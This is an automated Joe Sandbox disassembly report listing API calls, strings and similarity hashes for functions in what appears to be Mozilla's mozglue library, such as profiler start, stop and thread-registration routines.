API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2555916485
Opcode ID: 2fde2f8f7d68d6fdc34a437ba1a6b750568a88b667dc3cf5bca26937b645ea00
Instruction ID: c4d57b678a76778501e2c1eb2b39110d9e503214cc1384e07246315736c8cf77
Opcode Fuzzy Hash: 2fde2f8f7d68d6fdc34a437ba1a6b750568a88b667dc3cf5bca26937b645ea00
Instruction Fuzzy Hash: 456125F1A00358AFEB10DF60CC0AB95BBF8EB46708F14855DE546AB661D7BC8945CFA0

Function 6CDEE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CDEB9F1,?), ref: 6CDE7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CDEDCF5), ref: 6CDEE92D
GetCurrentThreadId.KERNEL32 ref: 6CDEEA4F
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEA5C
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEA80
GetCurrentThreadId.KERNEL32 ref: 6CDEEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CDEDCF5), ref: 6CDEEA92
GetCurrentThreadId.KERNEL32 ref: 6CDEEB11
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CDEEB3C
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEB5B

Part of subcall function 6CDE5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDEEB71), ref: 6CDE57AB

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CDEEBAC

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEEBC1
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000), ref: 6CDEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CDEEBE5
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,00000000), ref: 6CDEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEEC46
CloseHandle.KERNEL32(?), ref: 6CDEEC55
free.MOZGLUE(00000000), ref: 6CDEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CDEEA9B
[I %d/%d] profiler_start, xrefs: 6CDEEBB4

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 39638f16c43a19aedbdea759b070681c3d84e1b48cbe432445c8e060ea5afc88
Instruction ID: d43105641d52d0a6caeb626029ece579d610292381f35a1e5647afb3db4a21ef
Opcode Fuzzy Hash: 39638f16c43a19aedbdea759b070681c3d84e1b48cbe432445c8e060ea5afc88
Instruction Fuzzy Hash: 5EA14971B00614DFDB009F68D844BAA77B5FF8A318F25412DE91A87F61DB7CA805CBA1

Function 6CDEF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CDEF8F9

Part of subcall function 6CDB6390: GetCurrentThreadId.KERNEL32 ref: 6CDB63D0
Part of subcall function 6CDB6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CDB63DF
Part of subcall function 6CDB6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CDB640E

ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF93A
GetCurrentThreadId.KERNEL32 ref: 6CDEF98A
GetCurrentThreadId.KERNEL32 ref: 6CDEF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF716

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

Part of subcall function 6CDAB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CDAB5E0

GetCurrentThreadId.KERNEL32 ref: 6CDEF739
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF746
GetCurrentThreadId.KERNEL32 ref: 6CDEF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CE2385B,00000002,?,?,?,?,?), ref: 6CDEF829
free.MOZGLUE(?,?,00000000,?), ref: 6CDEF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CDEF866
free.MOZGLUE(?), ref: 6CDEFA0C

Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB5E8C
Part of subcall function 6CDB5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5E9D
Part of subcall function 6CDB5E60: GetCurrentThreadId.KERNEL32 ref: 6CDB5EAB
Part of subcall function 6CDB5E60: GetCurrentThreadId.KERNEL32 ref: 6CDB5EB8
Part of subcall function 6CDB5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5ECF
Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CDB5F27
Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CDB5F47
Part of subcall function 6CDB5E60: GetCurrentProcess.KERNEL32 ref: 6CDB5F53
Part of subcall function 6CDB5E60: GetCurrentThread.KERNEL32 ref: 6CDB5F5C
Part of subcall function 6CDB5E60: GetCurrentProcess.KERNEL32 ref: 6CDB5F66
Part of subcall function 6CDB5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CDB5F7E

free.MOZGLUE(?), ref: 6CDEF9C5
free.MOZGLUE(?), ref: 6CDEF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CDEF71F
" attempted to re-register as ", xrefs: 6CDEF858
Thread , xrefs: 6CDEF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CDEF9A6

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b572d5b7d41941182730899553dfc1e9bbdcf767f5d17fc1c49096fc7ddd2431
Instruction ID: a62e54437d0801a1d731d54064d6515839f74f776078ecad1295d0bd76785716
Opcode Fuzzy Hash: b572d5b7d41941182730899553dfc1e9bbdcf767f5d17fc1c49096fc7ddd2431
Instruction Fuzzy Hash: ED813871A047049FD710DF24D840BAEB7B9FF89308F55452DE8859BB61EB34E849CBA2

Function 6CDEEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEE60
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEE6D
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEEEA5
CloseHandle.KERNEL32(?), ref: 6CDEEEB4
free.MOZGLUE(00000000), ref: 6CDEEEBB
GetCurrentThreadId.KERNEL32 ref: 6CDEEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEEECF

Part of subcall function 6CDEDE60: GetCurrentThreadId.KERNEL32 ref: 6CDEDE73
Part of subcall function 6CDEDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CDB4A68), ref: 6CDEDE7B
Part of subcall function 6CDEDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CDB4A68), ref: 6CDEDEB8
Part of subcall function 6CDEDE60: free.MOZGLUE(00000000,?,6CDB4A68), ref: 6CDEDEFE
Part of subcall function 6CDEDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CDEDF38

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

GetCurrentThreadId.KERNEL32 ref: 6CDEEF1E
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEF2B
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEF59
GetCurrentThreadId.KERNEL32 ref: 6CDEEFB0
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEFBD
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEFE1
GetCurrentThreadId.KERNEL32 ref: 6CDEEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF000

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CDEF02F

Part of subcall function 6CDEF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDEF09B
Part of subcall function 6CDEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CDEF0AC
Part of subcall function 6CDEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CDEF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CDEF008
[I %d/%d] profiler_stop, xrefs: 6CDEEED7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8ea7f8dc7a8e8181f42d82b030312ec934060d73a7e766b72e26ecab63b707d2
Instruction ID: 09ddea003ea4d5594333271016e0af9681de67c334e363722fc2f7a2dfe32e7a
Opcode Fuzzy Hash: 8ea7f8dc7a8e8181f42d82b030312ec934060d73a7e766b72e26ecab63b707d2
Instruction Fuzzy Hash: CF512931E00264DFDB005B64D809BA577B8EB4A72CF240619ED1683FA0DBBD9804CBF6

Function 6CDB5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5E9D

Part of subcall function 6CDC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B85
Part of subcall function 6CDC5B50: EnterCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B90
Part of subcall function 6CDC5B50: LeaveCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5BD8
Part of subcall function 6CDC5B50: GetTickCount64.KERNEL32 ref: 6CDC5BE4

GetCurrentThreadId.KERNEL32 ref: 6CDB5EAB
GetCurrentThreadId.KERNEL32 ref: 6CDB5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CDB6017

Part of subcall function 6CDA4310: moz_xmalloc.MOZGLUE(00000010,?,6CDA42D2), ref: 6CDA436A
Part of subcall function 6CDA4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CDA42D2), ref: 6CDA4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CDB5F47
GetCurrentProcess.KERNEL32 ref: 6CDB5F53
GetCurrentThread.KERNEL32 ref: 6CDB5F5C
GetCurrentProcess.KERNEL32 ref: 6CDB5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CDB5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CDB5F27

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB5E8C

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB60CC

Strings

GeckoMain, xrefs: 6CDB5ECE, 6CDB6015

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 0a3f12ff819f8462887c208147ac9c52fcdfa546684f05b263d626f56056416b
Instruction ID: 5b9b9fd83ce04f21b670467a3c7b3badd8827cc30be69a27076ad8c9c917b54d
Opcode Fuzzy Hash: 0a3f12ff819f8462887c208147ac9c52fcdfa546684f05b263d626f56056416b
Instruction Fuzzy Hash: 2B71C2B0A04780DFD704DF25C480A6ABBF0FF5A304F54496DE48697B62EB74E949CB62

Function 6CDB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CDA3217
Part of subcall function 6CDA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CDA3236
Part of subcall function 6CDA31C0: FreeLibrary.KERNEL32 ref: 6CDA324B
Part of subcall function 6CDA31C0: __Init_thread_footer.LIBCMT ref: 6CDA3260
Part of subcall function 6CDA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CDA327F
Part of subcall function 6CDA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDA328E
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDA32AB
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDA32D1
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDA32E5
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CDA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CDB9675
__Init_thread_footer.LIBCMT ref: 6CDB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CDB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CDB9707
__Init_thread_footer.LIBCMT ref: 6CDB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CDB97B7
FreeLibrary.KERNEL32 ref: 6CDB97D0
FreeLibrary.KERNEL32 ref: 6CDB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CDB9670
MapViewOfFileNuma2, xrefs: 6CDB97B1
ntdll.dll, xrefs: 6CDB96E3
NtMapViewOfSection, xrefs: 6CDB9701

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: feb19e67f380bd716adf4d038eef2dab1f4c55a08bf8d09c782989581b8fdde1
Instruction ID: 639e06cabe3d5deb7ce05a86debd93f8baea1e661092055a55fcea97065549bc
Opcode Fuzzy Hash: feb19e67f380bd716adf4d038eef2dab1f4c55a08bf8d09c782989581b8fdde1
Instruction Fuzzy Hash: 0B6103B1A00355DBDF00DFA4D884F9A7BB1EB4A314F154129E996A37A0D73CA844CBA1

Function 6CDB7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CDB8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CDB801D

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CDB802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CDB803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CDB808D

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CDB809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CDB80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CDB8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CDB8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CDB8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CDB817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB8199

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 141ef4c2f513e6a481e92cf6489c7e4b0c629aaf908df575a84d47e990dff70f
Instruction ID: c552a03ac922e7b3cbd041eef70b210400aef8fb41244cc0b22b7dc573ec5185
Opcode Fuzzy Hash: 141ef4c2f513e6a481e92cf6489c7e4b0c629aaf908df575a84d47e990dff70f
Instruction Fuzzy Hash: 7E51A3F2E002159BDB00DFA9DC84AEFB7B9AF49264F240125E816F7751E731E905CBA1

Function 6CE06660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CE2F618), ref: 6CE06694
GetThreadId.KERNEL32(?), ref: 6CE066B1
GetCurrentThreadId.KERNEL32 ref: 6CE066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CE066E1
EnterCriticalSection.KERNEL32(6CE2F618), ref: 6CE06734
GetCurrentProcess.KERNEL32 ref: 6CE0673A
LeaveCriticalSection.KERNEL32(6CE2F618), ref: 6CE0676C
GetCurrentThread.KERNEL32 ref: 6CE067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CE06868
RtlCaptureContext.NTDLL(?), ref: 6CE0687F

Strings

WalkStack64, xrefs: 6CE06890

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 061f3ec6ab6e0d7e497afa40cb96b3b3e9964b98a2dc4450fc844e00467ac7eb
